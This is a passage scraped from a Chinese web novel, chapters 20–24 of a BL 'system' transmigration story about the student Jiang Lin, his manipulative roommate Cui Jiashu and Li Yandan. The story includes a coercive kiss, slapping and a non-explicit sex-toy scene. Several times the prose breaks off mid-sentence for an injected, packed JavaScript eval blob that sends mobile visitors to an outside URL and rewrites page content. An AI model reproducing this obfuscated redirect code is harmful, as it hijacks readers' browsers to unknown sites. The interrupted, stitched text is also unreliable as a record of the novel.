江林是在浴室穿戴整齐才出来的,牛仔裤和毛衣,又从衣柜里拿出米色羽绒服套上,头也不抬地回答道:“嗯。” “那你现在去哪儿?”崔嘉树见他要外出的模样。 “去图书馆。”江林套上了一顶浅藕色的针织帽,是他自己织的,外面商店里动辄上百的帽子他根本买不起。 他的帽子堪堪遮住耳朵,上面似乎还有两个耳朵,露出那白净的脸,脸颊蒸得有些红,在两人还没反应过来的时候,背着书包冲出了寝室。 李炎诞嘴角抽搐,看向崔嘉树的眼神意味不明,“你对他做了什么?他看你像看见鬼一样。” 崔嘉树摊手,“我什么都没做。” “老秦有说什么时候回来吗?” 李炎诞揉了揉疲惫的眉心,几乎一夜没睡,淡淡回答:“快了吧,不知道,没说。” “我回寝室的事情还没和他说呢,我给他发一个消息。”崔家属唯恐天下不乱地笑了笑,希望老秦能尽早回来。 李炎诞欲言又止地看着他,最终没有阻止。 江林在没有空调的图书馆呆了一上午,脚都感觉冻木了,中午的时候,他没管崔嘉树的威胁,还是和赵云月一起吃了一顿饭。 他是自由的,绝不会成为傀儡。 赵云月整个人都很憔悴,眼圈红血丝满布,说话声都有气无力的,她满眼感激,稳定的情绪又有了一点起伏:“昨天真的谢谢你。” “我在支付宝给你转了五万块钱,这是何卫东夫妻俩赔偿给我们的。” 江林虽然很需要这笔钱,可还是礼貌又绅士地拒绝了一下:“你比我更需要这些安慰。” “不,这是我对你的感谢。”赵云月给他递上筷子,轻声解释道:“我之前不是故意瞒着我的感情状况,我和何卫东的年纪相差这么大,我怕被人的闲言碎语......” 江林认真看着她,倾听她的解释,然后点头表示理解。 两人吃了一顿饭,赵云月表情明显放松了很多,如那天初见,她笑容明媚灿烂,轻声道:“你真的很好,如果有机会,我真的想......” 重新做一次选择。 这个话赵云没有真的说出口,现在她自己的精神和感情状况就很差,刚刚分手就和江林提出在一起,很没有礼貌,也很冒昧,像是把他当成备胎。 江林也像是没有察觉出她的言外之意,轻轻拍了拍她的肩膀,安慰道:“一切都会好的,谁这辈子没遇见几个渣男?这不是你的错,有任何事情随时可以联系我。” 两人分别,江林往宿舍方向走,赵云月去上课,两人不是一个专业的。 宿舍里,李炎诞在补觉,崔嘉树正在电脑上处理文件,听见开门声,朝江林看过来,凭空出现一个温和笑容,显得有些骇人。 江林垂着头,像是没瞧见他的表情。 外面下起小雪,毛线帽被弄湿了,江林将它挂了起来,揉了揉发红的耳朵,坐在凳子上发了会呆。 崔嘉树什么时候走到他身后,江林都未察觉到,他蹲在他腿边,握住他冰冷的手指,给江林桌上放了一杯热水。 江林微怔,回神,垂眼看着他。 崔嘉树没有说话,只是轻轻捂住他的手,给他温暖,像个体贴的恋人,还伴随着李炎诞沉重的呼吸声,两人没有说话。 崔嘉树还以为会得到江林的反抗,但没有,他甚至张开掌心,任由他半跪在他脚边给他暖手。他的姿态摆得很低,微微向上看的眸子很浅,弯弯的,仿佛天生的笑眼。 上位者示弱,很容易迷惑人心,误以为这是真爱。 第一次见到崔嘉树,不了解他的人很容易被他的笑容和外貌蛊惑,认为他是一个温柔好相处的人。 江林黑睫微微垂着,眼尾泛着冰冷的眸光,仿佛撕破柔软玻璃纸的刀锋,任由崔嘉树将自己的手背贴在他脆弱的颈脖,他的体温很温暖。 两人的动作在第三人存在的狭小空间显得极为暧昧,江林轻轻动了一下手指,唇角勾了勾,声音很低:“崔嘉树,你知道你现在的样子像什么吗?” 崔嘉树眯了眯眼,仰头看着他,眼神直勾勾看着他,微笑着问:“像什么?” “像是在讨好主人的哈巴狗。”江林说话不客气,手从崔嘉树手中抽出来,落在他头顶碰了碰,越发像是在逗弄什么宠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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他脸上神情恢复如常,像是掩藏在平静湖面下的波涛,他正抱着热腾腾的瓷杯暖手,目光沉静又无波,人畜无害的长相。 崔嘉树膝盖有些冷,从地上站起来,沉默地走到了自己的座位上,江林小口小口的喝着热水,丝毫没理会在崔嘉树心中掀起的巨浪。 “宿主,刚刚的行为可能涉嫌人设崩塌......”系统的声音扫兴地响起。 “哪里崩塌了。”江林冷漠地说道:“原著里面哪里写了孟南星不喜欢狗吗?” “相反,原主好像很喜欢狗哦,家里都养了好几只大黄狗。” 系统:...... 21.第21章 雪像是下个没完,白皑皑一层铺在去学校的柏油路上,仿佛撒下的盐粒,颗颗晶莹。 江林穿着白色羽绒服,撑着格子蓝伞,运动鞋陷入雪里,吱呀吱呀发出初雪的轻响。 因为气温骤降,许多大学生都选择了逃课,毕竟这位市场营销老师是出了名的脾气好,好欺负,也不签到,是对于逃课行为睁一只眼闭一只眼的好老师。 只是江林以为崔嘉树和李炎诞也会作出同样的选择,但没想到他们两个却默默地跟着他一起去了商学院的教室。 江林依旧坐在前排的位置,崔嘉树自然而然地坐在他旁边,而李炎诞原本走向后排的腿也拐了弯,坐在崔嘉树旁边,三人排排坐在第二排,第一排空无一人。 江林:...... 他脚趾抓地,尴尬地哈了一口气,搓了搓手指,听见身后窸窸窣窣的讨论声,关于为什么江林“荣获盛宠”的原因。 崔嘉树拿出保温杯,给江林倒了一杯热水,滚滚冒着热气,江林看了好几眼,抿唇原本想要拒绝,喉结滚动一下。 他怕冷,穿的运动鞋也一点不保暖,十个脚趾和手指都冻僵了,所以他真的需要一杯热水。 好吧,虽然崔嘉树贱贱的,但是热水没有罪啊,他不能嫌弃它。 “特意让人给你带的。”崔嘉树当然不可能背着这么重的保温杯背一路,是他吩咐小弟准备的。 江林端起热水,小声说了一句:“谢谢。” 崔嘉树唇角勾起,笑容灿烂,“不客气的,小星。” 李炎诞睁着大眼看着两人的互动,眼神越发昏暗不明,崔嘉树这是铁了心要追人啊。 身后的同学早就在三人坐在一起的时候在论坛上炸开了锅。 我在南大吃炸鸡:【我靠,mnx和树哥坐在一起了,妈呀,我看见树哥给他倒热水。】 学校里很多人都知道,崔嘉树是个同性恋,且追过不少人,无一败绩。 南大万人迷:【树哥追人百发百中,战绩可查,不过就没有超过一个月的,我赌五角钱,mnx坚持不了一个星期。】 树哥是我老公:【救命,树哥怎么看上那个乡巴佬的,而且他还和炎哥有矛盾......】 我在南大吃炸鸡:【嘿,你消息落伍了吧,炎少和mnx之前在舞会早澄清误会咯,现在他们三坐在一起呢。】 爱吃西瓜的小妞:【很难评,在演燃冬吗?】 百龄童:【不是,这次树哥好像认真的,有图有真相。】 他的图片和视频都是赵云月生日那天崔嘉树站在两人身前的照片。 树哥我老公:【谁信啊?树哥每次都像是认真的。】 ...... 在认真吃瓜:【不是,真的没人觉得mnx很帅吗?】 … 其中有个视频,就是少年将赵云月护在怀里的画面,高大的身躯完全将瘦小的赵云月护住,挡住了所有的风雨般。 论坛炸开了锅,手指敲击手机键盘的声音甚至比老师讲课的声音还要响。 江林一边喝着热水,感觉身体暖暖的,一边听着老师讲课记笔记,一些无聊的理论知识听的李炎诞趴在桌子上呼呼大睡,崔嘉树带着耳机玩游戏,似乎没将老师放在眼里。 老师也当作没看见。 下课铃声响起,李炎诞猛然惊醒,打了一个喷嚏,江林转头看着他,他正巧也在看他,两人视线对上。 江林很想问他,在寝室睡觉难道不比这里舒服吗? 李炎诞似乎看出了他眼底的疑惑,摸了摸鼻子,移开视线,莫名的心虚。 江林收拾东西准备去食堂吃饭,三人站在一起,不得不说从外观上来看真的让人赏心悦目,笔挺高挑的身材像是行走的模特,俊美无俦的面容,各有特色的帅气。 从身后追上来一个红着脸的小女生,她手上拿着一杯热奶茶,精致漂亮的妆容,没打伞,雪花落在她黑发上,冰雪晶莹。 她走到几个人面前,眼睛也不敢抬起,只是一股脑地说道:“同学,你好,我很喜欢你,可不可以加一下联系方式!” 她因为害羞不敢看人,站在江林和崔嘉树的中间,崔嘉树理所当然地认为她是在和自己表白。 他轻飘飘看了一眼江林,第一次因为被人告别生出一点得意的感觉,他礼貌地拒绝:“不好意思......” 崔嘉树刚想拒绝以表示自己对江林的忠心。 话没说完,女生直直地将奶茶递到江林的跟前,脸红得滴血,却勇敢又干脆:“是真的很喜欢你!请收下!” 李炎诞不合时宜的嗤笑出声,拳头半捂住唇,从胸前传出笑声,毫无遮掩的嘲笑声。 江林也稍稍愣住,这是第一次在这个世界被女生表白,就像那些扭曲的剧情一般,这个世界价值观也很扭曲,利益至上,很少会有人喜欢这个看起来只有美丽皮囊的男生。 江林见她淋着雨雪,下意识地将伞沿往女生方向偏,遮住落下的雪,低头温和地道:“联系方式可以给你,但奶茶我不要。” 崔嘉树笑容淡然,低着头的少年,唇红齿白,俊美帅气,笑容温柔,女生小鸟依人,长相可爱,仿佛一对令人艳羡的情侣。 江林脸上的温柔,从未这样展示给他们。 李炎诞也笑不出来了,一双眼望着两人交换联系方式的手,从嘴里砸吧出一点不爽。 “伞给你吧,别淋湿了头发,会头疼的。”江林面对可爱的女生总是会有更多的温柔,将自己的伞递给她。 女生受宠若惊,“那你怎么办?” 江林的视线在旁边两人身上掠过,最终停留在李炎诞身上,扯了唇角,“炎哥,能麻烦你带我一下吗?” 李炎诞耸耸肩,仿佛毫不在意地说道:“没问题咯。” 崔嘉树静静看着故意忽略他的江林,捏住伞柄的手指用力地发白,又缓缓松开,脸上笑容恢复如初,无所谓咯,就是要李炎诞和江林搞在一起才好玩。 人多才好玩嘛。 江林和李炎诞躲在一个伞下,原本宽敞的大伞突然显得有些拥挤起来,李炎诞主动扣住江林的肩膀。 “小炎,星星,我还有事儿,你们去吃饭吧,可以刷我的卡。”崔嘉树仿佛没有注意到两人的距离,主动将自己的卡递过去,知道江林不会要,直接塞进他兜里了。 江林皱眉,把卡拿出来,却见崔嘉树已经大步流星离开,身后还跟着两个保镖。 李炎诞揽着他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13830288|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩膀,穿过笔挺的松柏,脚上的靴面都弄湿,他才像是好奇般问道:“你和崔嘉树到底怎么回事?” 江林垂着眼,心中好笑,还以为李炎诞多沉得住气呢。 “没什么关系。”江林肉眼可见地情绪不对,脸色发白紧绷,却还在强装镇定地说没事。 李炎诞自然不信,忍不住蹙眉:“他强迫你做了什么事情?” 江林咬了咬泛红的唇,只是摇头:“没有。” 像是强吻这种事情,自尊心那么强的孟南星怎么会说得出口呢。 李炎诞更是一个字都不信,越发决定了崔嘉树欺负了人,义愤填膺地吐槽道:“崔嘉树根本不是什么好东西,满肚子坏水,不折不扣的变态,尽干缺德事儿......” “他家里也是......” 江林见他骂的极为真情实感,忍不住抬眼看过去,低声道:“但你们不是好兄弟吗?” “谁跟你说我们是好兄弟了?”李炎诞声音都扬起来了,看江林的眼神就像他是一只被人欺骗的小白兔。 “论坛上的人都是这么说的。”江林歪着头,发现旁边已经有人在拍照。 “那些都不是真的。”李炎诞澄清道:“最多算是合作伙伴而已。” “哦,这样啊。”江林点了点头,坑坑洼洼的水坑,他的鞋袜已经湿了,原本无所顾忌踩过去,李炎诞发现了,拉着他的手臂躲开。 他顺带着训斥一句:“眼睛长在脑袋顶上吗?这么大个水坑没看见?” 江林看向他,笑眯眯道:“炎哥,你像我们村口说教的大爷。” 李炎诞:“......” “好心当成驴肝肺,你给我死啊。”李炎诞掐着他的脖子狠狠压了一下。 江林缩着脖子笑了一瞬。 李炎诞吃不惯食堂,只是等江林买好盒饭,两人重新结伴回了宿舍。 江林立刻接了一盆热水泡脚,还冲了一包感冒冲剂预防感冒,才开始慢吞吞地享受晚餐。 李炎诞坐在椅子上抽烟,白色烟雾缭绕,模糊了他的神情,犹豫再三,才再次开口:“说真的,你要有什么困难和我说。” 江林拿着筷子夹排骨的动作一顿,又恢复如初,咬了一口软烂排骨,脸颊微微鼓起,含糊道:“炎哥,你为什么要帮我呢?” “你又想从我这里得到什么呢?” 李炎诞张了张口,直接脱口而出:“我没想得到什么啊。” “那你为什么要帮我呢?还要因为我和自己从小玩到大的合作伙伴对上,这怎么都说不通的呀,炎哥。”江林通透干净的眼神看得李炎诞一激灵。 他忍不住扪心自问,自己真的无所求吗? 且不管是于公于私,他这么做都毫无好处啊。 江林见他陷入沉默,虚虚一笑,仿佛昙花一现的笑容,表情变得理解和坦然,声音越来越低:“所以炎哥不用管就好,不要让我的处境更难......” 他越这么说,李炎诞就感觉越不得劲,自己像个窝囊的丈夫似的,只能看着自己的妻子被人欺负,而毫无作为。 他的真实想法像是被一层很薄的玻璃纸包裹着,水火不容,刀枪不入,暂时还无法触摸到最里面的东西。 22.第22章 让李炎诞彻底捅破那层玻璃纸,是在崔嘉树回到宿舍的第三夜,他和朋友打篮球,直到球场熄灯才回到宿舍,寝室里亮着灯,但没见着人。 视力堪比空中飞行员的李炎诞看见了没有关紧的浴室门,两道贴得极近的身影,他关门关到一半,陡然失去了所有力气和手段。 大门没有发出声响,只是虚掩着,李炎诞鬼使神差、轻手轻脚地朝着浴室走去,浴室亮着灯,两道模糊的黑影出现在玻璃上。 李炎诞呼吸都停滞了,大气不敢出,像是窥见什么见不得人的隐秘。 正在浴室接吻的两人靠得很近,有暧昧的水啧声,出现李炎诞耳畔,他瞬间感觉红温了,心跳声比打篮球的时候还大。 我靠,崔嘉树和......江林在接吻! 他像个小偷视线偷瞄着里面,从他这个角度看不见崔嘉树的神情,只能看见他正渴求地吻着少年饱满的唇。 李炎诞心肝一颤,少年的半张脸出现在门缝中,微微蹙起的眉,性感得要命,让人呼吸骤停。 江林泛着红的侧脸落下一点细汗,细白的脖颈被大手捧着,稍稍抬起,喉结在不断地滚动着,像是在被迫吞咽着什么...... 操! 李炎诞眼眶都红了,为什么崔嘉树这个傻逼可以把舌头往江林嘴里伸?他要不要脸?这个不要脸的烂货! “宝宝......”崔嘉树眼眶发烫,像是要舒服地流出眼泪来,心热身体更烫,轻轻地啄了啄他泛红的唇。 又低头在江林白净凸起的喉结上亲了一下。 “好香......为什么你身上这么香?”崔嘉树压低了声音,声线比平时性感不少。 但江林丝毫没听出来哪里区别或者性感,偏头躲开他湿软的啄吻,眉宇间似乎充斥着不耐烦。 李炎诞在听见说话声之后,就下意识地往后退了几步,所以他没有听见崔嘉树在江林耳畔说的那一句话:“小炎在外面偷听呢,也许正在偷看我们接吻,让他进来吗?我们可以一起......” 江林一把抓住他微卷发丝,手指用力将他往后扯开,将这条时刻都在发/情的狗扯开,眯眼看着他,水光潋滟的眸子非常漂亮:“你自己犯贱别扯上我。” 崔嘉树红着眼看着他,喉结激动地上下滚动着,嘴唇上还有两人的口水,他轻轻舔了舔,神情温和矜持,丝毫不像会说出这种话的人,他笑着说道:“我们关系这么好......” 清脆的巴掌声响起。 李炎诞站在外面都愣了一下,顿时就想冲进去了,没想到崔嘉树这个神经病亲了人不说,还他妈打人? 贱不贱啊!? 但是江林不重不轻地声音阻止了他的脚步,那道男声格外地冷淡,是熟悉的声音,但又天差地别,他似乎在记忆里听过,但又忘掉了。 “是不是一天不扇你,就要犯贱?”江林的声音像是在......训斥。 李炎诞头皮发麻,他预想过江林很多被欺负的场景,想过很多自己能够挺身而出英雄救美,唯独从未想过......被扇耳光的人是崔嘉树。 崔嘉树笑不出来了,眼神甚至有些阴鸷,仿佛被打疼的狗,凶狠地盯着主人,下一秒就要暴起一般。 他这样的天之骄子,很少会被人这么打,但也不是没有。 江林却仿佛丝毫不畏惧他寒气森森的眼神,扯着他的头发,又极为轻缓地扇了几下他的脸颊,让他原本白皙的脸颊上浮起了几个颇为明显的巴掌印。 江林牙低了声音,低头附在他耳畔,缓声道:“崔嘉树,你自己不要脸喜欢跟人玩脏的那一套,别往我身上带,听见没?” 崔嘉树头皮很疼,双眼被强光刺得想要流泪,视线紧紧锁在江林那张冷漠的脸上,他很想知道,为什么他敢这么对他。 难道江林真的不怕自己报复吗? “说实话,嘉树哥。”江林松开他的头发,语气又变缓了些,他轻轻擦了一下嘴唇,指腹出现一丝血丝,刚刚他咬破了崔嘉树的嘴唇。 “在我家,养了好几条狗,每一条最初回到家里都是你这样的眼神看着我。但是啊,给它们几根骨头,就会朝着我摇尾巴了。可是每次它们偷吃干净的鸡肉,犯错了就会挨打。” 江林笑了笑,眉眼弯弯:“每次挨打了,就会拿你刚刚的眼神看着我。” 崔嘉树抿着唇,生性爱笑的男人,笑不出来了,深吸一口气,沉冷开口:“孟南星,你真敢这么对我,你会付出代价的......” “还有什么代价,是比你缠着我,亲我更恶心?”江林像是看什么有趣的玩意,外面传来关门声,寝室里面寂静无声。 刚刚回来的李炎诞去公共澡堂洗澡了。 崔嘉树呼吸一窒,脑袋被江林狠狠按下,视线看向自己灰色的运动裤,他不喜欢在非工作场合穿得西装革履,但浅色总是比较显规模和轮廓。少年的语气越发厌恶了:“你自己看看,恶不恶心啊?你还敢说自己不喜欢这样?” 江林松开按住他的手掌,洗了手之后,才夺门而出,摔上门。 系统的声音又在脑海里小心翼翼地响起,“宿主,你崩人设了......” “崩什么人设?cosplay你懂不懂?你没看见崔嘉树有多喜欢我这么对他吗?”江林喝了一口热水,心中淡漠地回答。 系统:“......但是这样真的可以吗?” “909。”江林突然喊了系统的编号,语气都变得平缓了:“我一直都想知道,你和主神是什么关系呢?” “上下级,我的灵魂契约在他手上。”系统静默一瞬,才低落回答。 “那我们是什么关系呢?”江林继续问,“你还记得我们一起渡过了多少世界,闯过多少危险吗?” “605个世界。”系统准确地说出了这个数字,最后才很小声地说出那句话:“我们是伙伴,宿主您亲口说的。” “伙伴就是被拿来背刺的吗?”江林失望地说道,语气中沉重的失落感。 系统半晌才愧疚地说道:“主神分配的世界,我没有权利拒绝......” “那你告诉我,我真实的任务是什么?”江林根本不相信那个鬼主神的任务是让自己拯救孟南星,如果孟南星这个角色真实存在,他的样貌根本不会和自己这么相像。 系统支支吾吾,还是屏蔽了主神系统,轻声和江林说道:“这世界上的运气之子都有主神的神识,但是主神神识是被封印的,没有原本的记忆,当初您当着虚空那么多系统和宿主的面拒绝主神。他立下誓言,一定要让你受到惩罚。” “而这些世界的真实目的,是让主神切片感受到您的爱意, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13845224|145076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感到的爱意值达到百分百,就能脱离这个世界。” 江林只有两个字送给主神,贱人。 难怪会给他这种身份,是有多不自信,多恨他,才会给他这种身份人设啊? 死心不改,狗改不了吃屎,真的以为换个世界就会有任何的改变吗? 江林长长呼了一口气,心头阴霾更甚,却也变得轻松了些,只要主线任务没错,一切都好办。 而且主神意识切片,本身也可以成为一道影响主神的意识,当那高高在上的人看见自己的切片这么卑微求爱,甚至不惜摇尾巴,不知道还会不会笑得出来。 崔嘉树走出浴室,江林正在看书,又是不给正眼的侧脸。他刚刚洗完手,眼圈红红,脸颊更是肿了起来,任何人第一眼都会无法忽视的巴掌印。 李炎诞随即回来,江林进了浴室,手中还拿着一包烟,李炎诞的视线下意识地追寻着他。 直到门被轻轻关上。 “不是,崔嘉树你在搞什么?”李炎诞轻咳一声,拧着眉,看向他的眼神很不解,满脸的莫名其妙。 崔嘉树摸了摸自己火辣辣的侧脸,有些无奈地说道:“和小星发生了一些口角。” 李炎诞心中冷哼,口角?是□□吧。 活该脸被扇烂! 李炎诞敷衍关心道:“没事吧,要不要去看看医生,别被扇出脑震荡了。” 崔嘉树无奈一笑,“正准备去一趟医院,你和小星好好相处。” 他要去先消消肿,否则等明天根本没法见人,他在子公司还有一场股东会要开。 崔嘉树出了寝室,李炎诞烦躁地坐在椅子上抖腿,见浴室的江林久久没出来,寻思着,他妈的,他不会想不开自杀吧。 想到这,李炎诞已经直接拧开了门把。 门没锁,江林正倚在窗前抽烟,被冻红的手指透着粉,夹着一根细长的烟,越发显得五指骨节分明,优雅冷淡。 江林柔弱漂亮的眉眼被烟雾晕染,衬得几分朦胧和锋利,嘴唇殷红,脸颊浮动着白雾,李炎诞顿时想起那片红润饱满的唇被含入男人嘴中的画面。 挥之不去,像个梦魇一般。 江林见他直愣愣地盯着自己的唇,自嘲轻笑:“炎哥,你刚刚都看见了吧。” 李炎诞移开视线,缓缓低着头,看着江林的毛绒兔子的拖鞋,沉默不语,心情越发烦躁了。 “前两天你问我......关于崔嘉树的事,就是这些了……他想要和我睡。” “但我和炎哥一样,是直男,只觉得恶心,崔嘉树他逼我......” 李炎诞脸色越发难看了几分,他现在想说,其实也没那么恶心,要尊重所有性取向。 “炎哥,你应该能懂我的对不对。”面对江林希冀的眼光,像是要寻求理解的犯错小孩儿。 李炎诞艰难地点了点头,木着脸附和着:“是,崔嘉树就是一个很恶心的人。” 其实根本不知道自己在说什么,眼中只有那张白烟半遮的脸,眼皮红红,像是要哭了。 “我有喜欢的人,是一个漂亮的女生......”江林的声音沙哑又忧愁,眉宇间仿佛堆满了惆怅和难过。 李炎诞感觉有些喘不过气来,眼前闪过江林和赵云月一起打球,相视而笑的场面,那层漂亮的玻璃纸被轻轻戳了一个洞。 23.第23章 李炎诞几乎一夜没睡,江林的声音在他耳边回荡,变成了某种魔咒,他清楚地意识到自己可能对江林生出了别样的心思。 但他坚守的某条准则,在时刻提醒他,他不应该、也不可以对江林有其他的意思,这种是不对的。 他一睁眼就是江林身陷泥潭默默垂泪的表情,一闭眼就梦见江林被自己亲的场景,一模一样的地方,就是在宿舍浴室,他和崔嘉树的角色互换,他亲到了江林。 他也成为了逼迫江林的人。 ... 江林正在舞蹈室排练,元旦晚会迫在眉睫,每个班都要出一到两个节目,他们班进行舞台剧表演,江林扮演一棵树。 对,就是那种穿着玩偶服站在后面当背景板的树。 江林望着前面表演的主演发呆,呆呆愣愣地,手上还举着无实物的树枝,视线发直,等结束了才猛地反应过来。 “不是,你怎么这么可爱啊。”和他一起当鲜花的女生,忍不住笑着赞叹道。 江林面对这种直白的好意有些不好意思,腼腆地回答:“啊?你也很可爱。” “哈哈哈,你长得这么好看,当背景板也太可惜了,你应该去当主演。”女生可惜地说道:“一定会有更多人喜欢我们这个作品。” “没,我不会表演,让我上我也上不了的。”江林含笑摇头,一出舞蹈室,便看见正站在阶梯等他的崔嘉树。 崔嘉树追人,真的霸道又嚣张,像是要跟全校宣告江林是自己的人。 江林没再玩陌生人的游戏,反正崔嘉树会贴上来和他说话,赶不走,所以没必要浪费力气。 “刚刚在外面看见你的表演了,表演得很棒,以后有当影帝的潜质。”崔嘉树一向情绪价值给满,又如沐春风地笑着,说得跟真的一样。 只是罚站了两个小时的江林嘴角抽搐,无语道:“我只是一棵树。” “那也是最可爱的树。”崔嘉树立刻接话道。 江林:......好吧。 崔嘉树一进学校,就空降为学生会会长,元旦节相关事宜也都是他处理的,江林忍不住嘀咕了一句:“明年能不能别安排这么无聊的晚会。” “这个恐怕不行,商学院的传统,但是你明年可以申请不参加当观众。”崔嘉树给他撑伞,还给他递了一杯热奶茶。 李炎诞还没回来,应该在某个室内球场打球。他总是钟爱一些大汗淋漓的运动。 江林刚准备戴上耳机,便听见一声纸箱落地的沉重声响,他下意识地回头看了一眼,就见崔嘉树搬出来了一个大纸盒。 露出冰山一角,里面的东西让江林脸色微变。 他忍不住蹙起眉头,圆弧的杏眼闪烁着寒光,崔嘉树仿佛没有看见他眼底的冷漠,拿起某个粉红椭圆小玩具,拖着长长的尾巴。 “这些原本是我给你准备的礼物。”崔嘉树老实不了几天,不作妖感觉浑身难受似的。 江林小脸冷着,等待着他的下文。 “看它长得粉粉嫩嫩的,你应该会喜欢吧,不想试试吗?”崔嘉树面容真诚地建议道,他打开某个开关,露出一点虚伪的惊讶:“你看它……还会震动。” 江林手上转动着黑色圆珠笔,冷白的肤色,纤长的手指,慢条斯理笑了一下:“这么喜欢,你去试试吧。” “如果你觉得好用,我再考虑。” 崔嘉树面露犹豫,脸部线条极为温柔,弯腰盯着江林的眼睛,似乎真的有在考虑这个可行性:“你真的愿意玩这个?” “去试试吧,不要浪费了你买的这些玩具。”江林抬眼盯着他的眼睛,黑深的瞳孔,有一种掌握一切的平静感,顺便将粉色遥控器拿了过来,在手上把玩了一圈,“这个放在我这里,你去厕所吧。” 崔嘉树双眼微微睁大,紧张得感觉口干舌燥,鼻息之间又窜起了一股香味,眼前的少年实在可口,鼻梁高挺,五官精致,眼窝深陷,噙着冷冷浅薄的笑意。 他真的很想看江林红着眼哭着抱着他的模样。 “如果你想这样的话,我可以接受。”崔嘉树语气中有些无奈和宠溺,仿佛宠爱江林的大哥哥般。 江林不置可否地轻哼一声。 崔嘉树去了浴室,没有传出半点声音,但凑近听还是能听见细微的震动声,江林心思没在他身上,遥控器被他扔在一旁,做了一套完整的英语练习题都毫无察觉。 完完全全将崔嘉树忘记了。 直到浴室传来重物摔在地上的声音,紧接着一声忍痛的闷哼声,才将江林从知识的海洋中拉回来,他拿起一看,遥控器一直亮着灯。 他随手关掉,犹豫再三,还是决定去浴室看看。 虽然他很想崔嘉树死,但崔嘉树死在他面前的话,他可能会被崔家整死。 门也没锁,像是就在等江林打开,崔嘉树刚刚腿软没站稳,直接摔在地上。 他没有衣衫不整,裤子也完好地穿在身上,但脸颊很红,额前的刘海都被汗水沁湿了,一双眼哀怨地看着江林。 江林站在门口,发现他意识清醒,才慢吞吞蹲下来,朝着崔嘉树招了招手。 “......”崔嘉树咬牙,别扭地朝着江林爬过来,仰着头,抓着他的手,在他手背上亲了一下,嗓音沙哑:“很舒服......你可以用了。” “舒服啊。”江林手指轻轻碰了一下他下颌的汗珠,又嫌弃地擦在他衣领上,笑得狡黠,又玩味:“舒服的话嘉树哥就好好享受啊。” 崔嘉树虽然早就有所预料,还是忍不住长长吸了一口气,蹭他的手指,身体很虚也很软似的,语气有气无力地:“宝贝,你就是单纯玩我是吗?” 江林很无辜:“我强迫你了吗?不是你自己玩得很开心吗?” 崔嘉树闭了闭眼,狼狈地喘着气,额间青筋暴起,攥紧他的手:“我是认真的,别玩我了。” “没玩儿。”江林敷衍地抽出自己的手指,有些好笑地看着他:“认真的?嘉树哥不是送几杯奶茶,当几天马仔跟屁虫就是对感情认真的,这些不过是再简单不过的事情。” 他站起身,踩着自己的毛绒拖鞋,扔下一句话,“炎哥快要回来了,你好好收拾一下自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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崔嘉树的声音压低,带着一丝磁性,“小星,下课了没,要我来接你吗?” “不用,我打到车了。”江林小声回答。 崔嘉树继续说:“好的,小星注意安全,给你准备了吃的,你先回寝室吃点东西。” “我自己买了面包。”江林为难地说。 “不想吃就扔掉。”崔嘉树霸道地说道。 江林看着挂断的电话,轻轻叹了一口气。 秦锐清恰在这时开口了:“你和崔嘉树现在......” “没有关系!”江林连忙澄清道:“只是普通同学而已。” 秦锐清眼神怀疑,明显不信,但也懒得拆穿。 “嗯......晚上元旦晚会和蒙面舞会,秦哥也都会参加吗?”江林转移话题,没话找话。 是的,今天不光有元旦晚会,还有什么鬼蒙面舞会。 江林真的怀疑这个南大的商学院是不是不要读书的啊,两天一个小活动,三天一个大活动。 “会参加。”秦锐清依旧是不冷不淡地回答。 两人又陷入了沉默,下车前,江林再次进行感谢:“谢谢秦哥愿意载我,感谢!” 秦锐清冷淡地升起窗户,不愿意和他多聊。 江林也不在意,心情很不错,蹦蹦跳跳地回宿舍吃免费的晚餐啦。 24.第24章 淅淅沥沥下了一星期的雪,今天才放晴,只是夜色渐沉,所有的建筑都融入了潮湿又冰冷的水汽中,夜色显得黑沉沉的。 江林右眼皮突然跳动了两下,他用手压了压,脑海里过了一遍剧情,忍下心中升起的猜疑,套上玩偶头套,头顶是绿色和棕色混合的树冠,脸露在中间,和其他花草树木排排站着,耳边喧闹声渐起。 还是那位鲜花女士,她低声问:“你很紧张?” 江林顶着玩偶,想摇头都做不到,开口道:“没有。” “你脸色很差哦。”女生的玩偶服没那么重,行动也比江林方便,关心地问:“要不要喝水?” “不用,谢谢。”江林微笑道。 他们这个话剧表演是前三的节目,直接来后台候场,没有去观众席坐。 巨大的剧院里,书记和院长坐在评委席最中间,崔嘉树和李炎诞却直接坐在他们两侧,崔嘉树和秦锐清坐在一起,两人在小声交谈着什么。 观众陆续入座,灯光一暗,如同瀑布般的红色幕布拉开,三男三女打扮精致的主持人上台,热情的开场词,激昂的情绪,伴随着热烈的掌声,元旦晚会拉开序幕。 在原本的故事线中,元旦晚会也算是原主大放异彩的机会,彼时他和南大F3打得火热,自然给自己争取到了很多权利和机会,成为某个话剧的主角,在聚光灯下闪闪发光。 